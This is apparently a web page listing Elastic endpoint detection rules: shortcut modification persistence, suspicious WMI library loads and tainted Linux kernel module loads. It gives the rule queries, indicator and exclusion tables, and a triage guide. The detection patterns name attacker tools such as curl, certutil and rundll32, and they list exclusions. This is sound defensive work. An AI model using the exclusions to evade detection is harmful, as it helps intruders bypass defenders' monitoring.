  not (process.name : "powershell.exe" and process.args : ("C:\\Windows\\Managetaskbar\\taskband.ps1", "C:\\Program Files\\ATERA Networks\\AteraAgent\\Packages\\AgentPackageSystemTools\\*_AddOfficeIconsToDesktop.ps1")) and
  /* unsigned Notepad++ installer */
  not process.pe.imphash in ("9dda1a1d1f8a1d13ae0297b47046b26e", "7fa974366048f9c551ef45714595665e") and
  not (process.name : "rundll32.exe" and process.args :"shell32.dll,SHCreateLocalServerRunDll" and process.parent.name : "svchost.exe") and
  not process.hash.sha256 in ("7a8998de0f56fb3303d071d6d87bd9c1b4472bc84bba5090993936a8bc819771", "bd68b94f58ad350ccb89f6b9e2b2f473731239fb0aa1902c21cb83e117d66b2e")
 ]
[file where event.action == "overwrite" and file.extension : "lnk" and process.pid != 4 and 
 process.executable : "?:\\*" and
  file.path :
     ("?:\\Users\\*\\Desktop\\*.lnk",
      "?:\\Users\\*\\Microsoft\\Internet Explorer\\Quick Launch\\*.lnk",
      "?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*.lnk",
      "?:\\Users\\*\\Start Menu\\Programs\\Startup\\*.lnk",
      "?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*.lnk") and
  file.Ext.header_bytes : "4c000000*" and
  file.name : ("Google Chrome.lnk", "Outlook.lnk", "Microsoft Outlook.lnk","Microsoft Edge.lnk",
               "Mozilla Thunderbird.lnk", "Firefox.lnk", "Word.lnk", "Excel.lnk", "Notepad++.lnk",
               "File Explorer.lnk", "PowerPoint.lnk", "Zoom.lnk", "slack.lnk", "Discord.lnk") and
  not (file.name == "Notepad++.lnk" and process.code_signature.subject_name == "Notepad++")]
'''

min_endpoint_version = "8.6.0"
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

[[optional_actions]]
action = "rollback"
field = "process.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1547"
name = "Boot or Logon Autostart Execution"
reference = "https://attack.mitre.org/techniques/T1547/"
[[threat.technique.subtechnique]]
id = "T1547.009"
name = "Shortcut Modification"
reference = "https://attack.mitre.org/techniques/T1547/009/"



[threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"

[internal]
min_endpoint_version = "8.6.0"

Stages and Predicates

Ordered sequence: each step below must occur in order within 1m, correlated by process.entity_id.

Stage 1: process

[process where event.action == "start" and
 not user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20") and process.hash.sha256 != null and
 (
  process.name : ("rundll32.exe", "regsvr32.exe", "powershell.exe", "wscript.exe", "curl.exe", "certutil.exe", "cmd.exe") or
  ((process.Ext.relative_file_creation_time <= 300 or process.Ext.relative_file_name_modify_time <= 300) and
     not process.code_signature.status : "trusted")
 ) and
 not process.executable :
           ("?:\\Program Files\\*.exe",
            "?:\\Program Files (x86)\\*.exe",
            "?:\\Config.Msi\\*.rbf",
            "?:\\Users\\*\\AppData\\Local\\Microsoft\\Edge\\Application\\*\\Installer\\setup.exe",
            "?:\\Windows\\servicing\\TrustedInstaller.exe",
            "?:\\Windows\\SystemApps\\*.exe",
            "?:\\Windows\\System32\\DeviceEnroller.exe",
            "?:\\Windows\\CCM\\UpdateTrustedSites.exe",
            "?:\\Users\\*\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
            "C:\\Program Files (x86)\\Lizard\\GPProcessing\\RunScript.exe") and
  not (process.code_signature.subject_name :
          ("Google*",
           "Notepad*",
           "Slack*",
           "Mozilla*",
           "Zoom*",
           "Discord*",
           "Citrix Systems, Inc.") and
       process.code_signature.trusted == true) and
  not (process.executable : "?:\\Users\\*\\Microsoft\\EdgeUpdate\\Install\\*\\setup.exe" and
       process.code_signature.subject_name : "Microsoft*" and process.code_signature.trusted == true) and
  not (process.executable : "?:\\Users\\*\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe" and
        process.code_signature.trusted == true and process.code_signature.subject_name : "Microsoft Corporation") and
  not (process.name : ("wscript.exe", "cscript.exe", "cmd.exe") and process.command_line : "*\\\\*\\SysVol\\*") and
  not (process.name : "cmd.exe" and process.args : "*.bat ") and
  not (process.name : "powershell.exe" and process.args : ("C:\\Windows\\Managetaskbar\\taskband.ps1", "C:\\Program Files\\ATERA Networks\\AteraAgent\\Packages\\AgentPackageSystemTools\\*_AddOfficeIconsToDesktop.ps1")) and
  not process.pe.imphash in ("9dda1a1d1f8a1d13ae0297b47046b26e", "7fa974366048f9c551ef45714595665e") and
  not (process.name : "rundll32.exe" and process.args :"shell32.dll,SHCreateLocalServerRunDll" and process.parent.name : "svchost.exe") and
  not process.hash.sha256 in ("7a8998de0f56fb3303d071d6d87bd9c1b4472bc84bba5090993936a8bc819771", "bd68b94f58ad350ccb89f6b9e2b2f473731239fb0aa1902c21cb83e117d66b2e")
 ]

Stage 2: file

[file where event.action == "overwrite" and file.extension : "lnk" and process.pid != 4 and 
 process.executable : "?:\\*" and
  file.path :
     ("?:\\Users\\*\\Desktop\\*.lnk",
      "?:\\Users\\*\\Microsoft\\Internet Explorer\\Quick Launch\\*.lnk",
      "?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*.lnk",
      "?:\\Users\\*\\Start Menu\\Programs\\Startup\\*.lnk",
      "?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*.lnk") and
  file.Ext.header_bytes : "4c000000*" and
  file.name : ("Google Chrome.lnk", "Outlook.lnk", "Microsoft Outlook.lnk","Microsoft Edge.lnk",
               "Mozilla Thunderbird.lnk", "Firefox.lnk", "Word.lnk", "Excel.lnk", "Notepad++.lnk",
               "File Explorer.lnk", "PowerPoint.lnk", "Zoom.lnk", "slack.lnk", "Discord.lnk") and
  not (file.name == "Notepad++.lnk" and process.code_signature.subject_name == "Notepad++")]

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
event.actioneq
  • overwrite corpus 8 (elastic 8)
  • start corpus 388 (elastic 388)
field:"EventType" kind:eq
file.Ext.header_byteswildcard
  • 4c000000* corpus 2 (elastic 2)
field:"file.Ext.header_bytes" kind:wildcard value:"4c000000*"
file.extensionwildcard
  • lnk corpus 7 (elastic 7)
field:"file.extension" kind:wildcard value:"lnk"
file.namewildcard
  • Discord.lnk
  • Excel.lnk
  • File Explorer.lnk
  • Firefox.lnk
  • Google Chrome.lnk
  • Microsoft Edge.lnk
  • Microsoft Outlook.lnk
  • Mozilla Thunderbird.lnk
  • Notepad++.lnk
  • Outlook.lnk
  • PowerPoint.lnk
  • Word.lnk
  • Zoom.lnk
  • slack.lnk
field:"file.name" kind:wildcard
file.pathwildcard
  • ?:\ProgramData\Microsoft\Windows\Start Menu\Programs\*.lnk
  • ?:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\*.lnk
  • ?:\Users\*\Desktop\*.lnk corpus 3 (elastic 3)
  • ?:\Users\*\Microsoft\Internet Explorer\Quick Launch\*.lnk
  • ?:\Users\*\Start Menu\Programs\Startup\*.lnk
field:"TargetFilename" kind:wildcard
process.Ext.relative_file_creation_timele
  • 300 transforms: number corpus 11 (elastic 11)
field:"process.Ext.relative_file_creation_time" kind:le value:"300"
process.Ext.relative_file_name_modify_timele
  • 300 transforms: number corpus 9 (elastic 9)
field:"process.Ext.relative_file_name_modify_time" kind:le value:"300"
process.executablewildcard
  • ?:\* corpus 18 (elastic 18)
field:"Image" kind:wildcard value:"?:\*"
process.hash.sha256is_not_null
  • (no value, null check)
field:"Hashes" kind:is_not_null
process.namewildcard
  • certutil.exe corpus 45 (elastic 39, splunk 6)
  • cmd.exe corpus 122 (elastic 93, splunk 29)
  • curl.exe corpus 34 (elastic 32, splunk 2)
  • powershell.exe corpus 187 (elastic 140, splunk 44, kusto 3)
  • regsvr32.exe corpus 74 (elastic 69, splunk 5)
  • rundll32.exe corpus 123 (elastic 100, splunk 23)
  • wscript.exe corpus 84 (elastic 82, splunk 1, kusto 1)
field:"process_basename" kind:wildcard
process.pidne
  • 4 transforms: number corpus 44 (elastic 44)
field:"process_id" kind:ne value:"4"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
process.argsends_with.bat excludes:process.args field:"process.args" value:".bat "
process.nameeqcmd.exeexcludes:process.name field:"process.name" value:"cmd.exe"
process.argseqshell32.dll,SHCreateLocalServerRunDllexcludes:process.args field:"process.args" value:"shell32.dll,SHCreateLocalServerRunDll"
process.nameeqrundll32.exeexcludes:process.name field:"process.name" value:"rundll32.exe"
process.parent.nameeqsvchost.exeexcludes:process.parent.name field:"process.parent.name" value:"svchost.exe"
process.argswildcardC:\Windows\Managetaskbar\taskband.ps1, C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageSystemTools\*_AddOfficeIconsToDesktop.ps1excludes:process.args field:"process.args" value:"C:\Windows\Managetaskbar\taskband.ps1" field:"process.args" value:"C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageSystemTools\*_AddOfficeIconsToDesktop.ps1"
process.nameeqpowershell.exeexcludes:process.name field:"process.name" value:"powershell.exe"
process.code_signature.subject_nameeqMicrosoft Corporationexcludes:process.code_signature.subject_name field:"process.code_signature.subject_name" value:"Microsoft Corporation"
process.code_signature.trustedeqtrueexcludes:process.code_signature.trusted field:"process.code_signature.trusted" value:"true"
process.executablewildcard?:\Users\*\AppData\Local\Microsoft\Teams\current\Teams.exeexcludes:process.executable field:"process.executable" value:"?:\Users\*\AppData\Local\Microsoft\Teams\current\Teams.exe"
process.code_signature.subject_namestarts_withMicrosoftexcludes:process.code_signature.subject_name field:"process.code_signature.subject_name" value:"Microsoft"
process.executablewildcard?:\Users\*\Microsoft\EdgeUpdate\Install\*\setup.exeexcludes:process.executable field:"process.executable" value:"?:\Users\*\Microsoft\EdgeUpdate\Install\*\setup.exe"
process.code_signature.subject_namewildcardGoogle*, Notepad*, Slack*, Mozilla*, Zoom*, Discord*, Citrix Systems, Inc.excludes:process.code_signature.subject_name
process.command_linewildcard*\\*\SysVol\*excludes:process.command_line field:"process.command_line" value:"*\\*\SysVol\*"
process.nameeqwscript.exe, cscript.exe, cmd.exeexcludes:process.name field:"process.name" value:"wscript.exe" field:"process.name" value:"cscript.exe" field:"process.name" value:"cmd.exe"
process.executablewildcard?:\Program Files\*.exe, ?:\Program Files (x86)\*.exe, ?:\Config.Msi\*.rbf, ?:\Users\*\AppData\Local\Microsoft\Edge\Application\*\Installer\setup.exe, ?:\Windows\servicing\TrustedInstaller.exe, ?:\Windows\SystemApps\*.exe, ?:\Windows\System32\DeviceEnroller.exe, ?:\Windows\CCM\UpdateTrustedSites.exe, ?:\Users\*\AppData\Local\Microsoft\Edge\Application\msedge.exe, C:\Program Files (x86)\Lizard\GPProcessing\RunScript.exeexcludes:process.executable
process.hash.sha256in7a8998de0f56fb3303d071d6d87bd9c1b4472bc84bba5090993936a8bc819771, bd68b94f58ad350ccb89f6b9e2b2f473731239fb0aa1902c21cb83e117d66b2eexcludes:process.hash.sha256 field:"process.hash.sha256" value:"7a8998de0f56fb3303d071d6d87bd9c1b4472bc84bba5090993936a8bc819771" field:"process.hash.sha256" value:"bd68b94f58ad350ccb89f6b9e2b2f473731239fb0aa1902c21cb83e117d66b2e"
process.pe.imphashin7fa974366048f9c551ef45714595665e, 9dda1a1d1f8a1d13ae0297b47046b26eexcludes:process.pe.imphash field:"process.pe.imphash" value:"7fa974366048f9c551ef45714595665e" field:"process.pe.imphash" value:"9dda1a1d1f8a1d13ae0297b47046b26e"
user.ideqS-1-5-18, S-1-5-19, S-1-5-20excludes:user.id field:"user.id" value:"S-1-5-18" field:"user.id" value:"S-1-5-19" field:"user.id" value:"S-1-5-20"
file.nameeqNotepad++.lnkexcludes:file.name field:"file.name" value:"Notepad++.lnk"
process.code_signature.subject_nameeqNotepad++excludes:process.code_signature.subject_name field:"process.code_signature.subject_name" value:"Notepad++"

Suspicious WMI Library Load

#
Source
github.com/elastic/protections-artifacts

Identifies the load of Windows Management Instrumentation related libraries and from suspicious call stack.

MITRE ATT&CK Coverage

Rule Body

[rule]
description = "Identifies the load of Windows Management Instrumentation related libraries and from suspicious call stack."
id = "3cd302aa-098b-4da6-bf20-8d37efe5f861"
license = "Elastic License v2"
name = "Suspicious WMI Library Load"
os_list = ["windows"]
version = "1.0.6"

query = '''
library where dll.name : ("wbemprox.dll", "WMINet_Utils.dll") and
  process.thread.Ext.call_stack_summary : "ntdll.dll|kernelbase.dll|combase.dll|Unbacked" and
 _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info: "Unbacked*" and $entry.callsite_trailing_bytes : "?*") and 
 not (process.code_signature.subject_name : ("Acer Incorporated", "Riot Games, Inc.", "Amazon Web Services, Inc.",
      "Bitdefender SRL", "Blizzard Entertainment, Inc.", "JAM Software GmbH", "NetEase (Hangzhou) Network Co., Ltd", "Epic Games Inc.",
      "Essential Objects, Inc.", "EasyAntiCheat Oy") and process.code_signature.status == "trusted") and
 not process.executable : ("?:\\Program Files\\*", "?:\\Program Files (x86)\\*") and
 not _arraysearch(process.thread.Ext.call_stack, $entry,
                  $entry.callsite_trailing_bytes : "6a00504883ec300f11442420488d0d3effffff488d542438ff1523ffffff488d0524ffffff488b00f048ff084883c4300f104424f058c34883c4600f105c24c0")
'''

min_endpoint_version = "8.8.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1047"
name = "Windows Management Instrumentation"
reference = "https://attack.mitre.org/techniques/T1047/"


[threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"

[internal]
min_endpoint_version = "8.8.0"

Stages and Predicates

Stage 1: library

library where dll.name : ("wbemprox.dll", "WMINet_Utils.dll") and
  process.thread.Ext.call_stack_summary : "ntdll.dll|kernelbase.dll|combase.dll|Unbacked" and
 _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info: "Unbacked*" and $entry.callsite_trailing_bytes : "?*") and 
 not (process.code_signature.subject_name : ("Acer Incorporated", "Riot Games, Inc.", "Amazon Web Services, Inc.",
      "Bitdefender SRL", "Blizzard Entertainment, Inc.", "JAM Software GmbH", "NetEase (Hangzhou) Network Co., Ltd", "Epic Games Inc.",
      "Essential Objects, Inc.", "EasyAntiCheat Oy") and process.code_signature.status == "trusted") and
 not process.executable : ("?:\\Program Files\\*", "?:\\Program Files (x86)\\*") and
 not _arraysearch(process.thread.Ext.call_stack, $entry,
                  $entry.callsite_trailing_bytes : "6a00504883ec300f11442420488d0d3effffff488d542438ff1523ffffff488d0524ffffff488b00f048ff084883c4300f104424f058c34883c4600f105c24c0")

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
dll.namewildcard
  • WMINet_Utils.dll
  • wbemprox.dll corpus 2 (elastic 2)
field:"dll.name" kind:wildcard
process.thread.Ext.call_stack_summarywildcard
  • ntdll.dll|kernelbase.dll|combase.dll|Unbacked
field:"process.thread.Ext.call_stack_summary" kind:wildcard value:"ntdll.dll|kernelbase.dll|combase.dll|Unbacked"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
process.code_signature.statuseqtrustedexcludes:process.code_signature.status field:"process.code_signature.status" value:"trusted"
process.code_signature.subject_nameeqAcer Incorporated, Riot Games, Inc., Amazon Web Services, Inc., Bitdefender SRL, Blizzard Entertainment, Inc., JAM Software GmbH, NetEase (Hangzhou) Network Co., Ltd, Epic Games Inc., Essential Objects, Inc., EasyAntiCheat Oyexcludes:process.code_signature.subject_name
process.thread.Ext.call_stackarray_any(no value, null check)excludes:process.thread.Ext.call_stack
process.executablestarts_with?:\Program Files\, ?:\Program Files (x86)\excludes:process.executable field:"process.executable" value:"?:\Program Files\" field:"process.executable" value:"?:\Program Files (x86)\"

Tainted Out-Of-Tree Kernel Module Load

#
Status
production
Severity
medium
Time window
9m
Author
Elastic
Source
github.com/elastic/detection-rules

This rule monitors the syslog log file for messages related to instances of a out-of-tree kernel module load, indicating the taining of the kernel. Rootkits often leverage kernel modules as their main defense evasion technique. Detecting tainted kernel module loads is crucial for ensuring system security and integrity, as malicious or unauthorized modules can compromise the kernel and lead to system vulnerabilities or unauthorized access.

MITRE ATT&CK Coverage

Rule Body

[metadata]
creation_date = "2023/10/26"
integration = ["system"]
maturity = "production"
updated_date = "2026/04/10"

[rule]
author = ["Elastic"]
description = """
This rule monitors the syslog log file for messages related to instances of a out-of-tree kernel module load, indicating
the taining of the kernel. Rootkits often leverage kernel modules as their main defense evasion technique. Detecting
tainted kernel module loads is crucial for ensuring system security and integrity, as malicious or unauthorized modules
can compromise the kernel and lead to system vulnerabilities or unauthorized access.
"""
from = "now-9m"
index = ["logs-system.syslog-*"]
language = "kuery"
license = "Elastic License v2"
name = "Tainted Out-Of-Tree Kernel Module Load"
note = """## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating Tainted Out-Of-Tree Kernel Module Load

Kernel modules extend the functionality of the Linux kernel without rebooting the system. While beneficial, out-of-tree modules, not included in the official kernel source, can taint the kernel, posing security risks. Adversaries exploit this by loading malicious modules to evade detection and maintain persistence. The detection rule monitors syslog for specific messages indicating such module loads, helping identify potential threats early.

### Possible investigation steps

- Review the syslog entries around the time of the alert to gather additional context about the module load event, focusing on messages with "loading out-of-tree module taints kernel."
- Identify the specific out-of-tree kernel module that was loaded by examining the syslog message details and cross-reference with known legitimate modules.
- Check the system for any recent changes or installations that might have introduced the out-of-tree module, such as software updates or new applications.
- Investigate the source and integrity of the module by verifying its origin and comparing its hash against known good or malicious hashes.
- Assess the system for any signs of compromise or unauthorized access, focusing on persistence mechanisms and defense evasion tactics, as indicated by the MITRE ATT&CK framework references.
- Consult with system administrators or relevant stakeholders to determine if the module load was authorized or expected as part of normal operations.

### False positive analysis

- Legitimate third-party drivers or hardware support modules may trigger alerts when loaded as out-of-tree modules. Users should verify the source and purpose of these modules to ensure they are not malicious.
- Custom-built modules for specific applications or hardware optimizations can also cause false positives. Users can create exceptions for these modules by adding them to an allowlist if they are verified as safe and necessary for system operations.
- Development and testing environments often load experimental or custom modules that are not part of the official kernel. In such cases, users should document these modules and exclude them from alerts to avoid unnecessary noise.
- Regularly updated or patched modules from trusted vendors might not be immediately recognized as safe. Users should maintain a list of trusted vendors and update their exception lists accordingly to prevent false positives.
- Some security tools or monitoring solutions may use out-of-tree modules for enhanced functionality. Users should ensure these tools are from reputable sources and exclude their modules from detection rules if they are confirmed to be secure.

### Response and remediation

- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary.
- Identify and unload the suspicious out-of-tree kernel module using the `rmmod` command to remove it from the kernel.
- Conduct a thorough review of the system's kernel module load history and verify the legitimacy of all loaded modules.
- Perform a comprehensive malware scan on the affected system to detect and remove any additional malicious software.
- Restore the system from a known good backup if the integrity of the system cannot be assured after module removal.
- Implement stricter access controls and monitoring for kernel module loading to prevent unauthorized module loads in the future.
- Escalate the incident to the security operations team for further investigation and to assess the need for broader organizational response measures."""
risk_score = 47
rule_id = "51a09737-80f7-4551-a3be-dac8ef5d181a"
setup = """## Setup

This rule requires data coming in from one of the following integrations:
- Filebeat

### Filebeat Setup
Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing.

#### The following steps should be executed in order to add the Filebeat for the Linux System:
- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages.
- To install the APT and YUM repositories follow the setup instructions in this [helper guide](https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html).
- To run Filebeat on Docker follow the setup instructions in the [helper guide](https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html).
- To run Filebeat on Kubernetes follow the setup instructions in the [helper guide](https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html).
- For quick start information for Filebeat refer to the [helper guide](https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html).
- For complete Setup and Run Filebeat information refer to the [helper guide](https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html).

#### Rule Specific Setup Note
- This rule requires the Filebeat System Module to be enabled.
- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions.
- To run the system module of Filebeat on Linux follow the setup instructions in the [helper guide](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html).
"""
severity = "medium"
tags = [
    "Domain: Endpoint",
    "OS: Linux",
    "Use Case: Threat Detection",
    "Tactic: Persistence",
    "Tactic: Defense Evasion",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "query"

query = '''
host.os.type:linux and data_stream.dataset:"system.syslog" and process.name:kernel and
message:"loading out-of-tree module taints kernel."
'''

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1547"
name = "Boot or Logon Autostart Execution"
reference = "https://attack.mitre.org/techniques/T1547/"

[[rule.threat.technique.subtechnique]]
id = "T1547.006"
name = "Kernel Modules and Extensions"
reference = "https://attack.mitre.org/techniques/T1547/006/"

[rule.threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1014"
name = "Rootkit"
reference = "https://attack.mitre.org/techniques/T1014/"

[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1547"
name = "Boot or Logon Autostart Execution"
reference = "https://attack.mitre.org/techniques/T1547/"

[[rule.threat.technique.subtechnique]]
id = "T1547.006"
name = "Kernel Modules and Extensions"
reference = "https://attack.mitre.org/techniques/T1547/006/"

[rule.threat.tactic]
id = "TA0004"
name = "Privilege Escalation"
reference = "https://attack.mitre.org/tactics/TA0004/"

Stages and Predicates

Stage 1: query

host.os.type:linux and data_stream.dataset:"system.syslog" and process.name:kernel and
message:"loading out-of-tree module taints kernel."

Indicators

These rows show field, operator, and value matches.

Back to all Elastic rules